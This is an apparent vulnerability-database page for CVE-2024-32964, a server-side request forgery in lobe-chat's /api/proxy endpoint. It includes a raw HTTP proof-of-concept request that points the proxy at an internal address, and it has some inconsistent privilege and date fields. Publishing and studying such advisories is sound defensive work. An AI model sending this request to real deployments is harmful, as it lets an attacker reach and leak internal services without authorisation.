🛡️ CVE-2024-32964 — lobe-chat

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-918 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

lobe-chat /api/proxy endpoint Server-Side Request Forgery vulnerability

Summary

The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

  • visit https://chat-preview.lobehub.com/settings/agent
  • you can attack all internal services by /api/proxy and get the echo in http response :)

![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21)

![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91)

![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75)

PoC

```http

POST /api/proxy HTTP/2

Host: xxxxxxxxxxxxxxxxx

Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0

Content-Length: 23

Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"

Sec-Ch-Ua-Platform: "Windows"

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Content-Type: text/plain;charset=UTF-8

Accept: */*

Origin: https://chat-preview.lobehub.com

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://chat-preview.lobehub.com/settings/agent

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7

http://172.23.0.1:8000/

```

Impact

SSRF ,All users will be impacted.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability high.

Weakness class

CVE-2024-32964 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2024-32964 is recorded against 2 packages.

  • @lobehub/chat
  • lobe-chat (fixed in 0.150.6)

Timeline and source

Published on 10 May 2024 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
CWE CWE-918
Public Exploit ✅ No
Source NVD
Published 2024-05-10
Updated 2026-08-12
Modified 2026-02-04

Affected Packages

Software From version Fixed in
@lobehub/chat — —
lobe-chat — 0.150.6

Similar Threats

Exploit Protection

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CVE-2024-32964 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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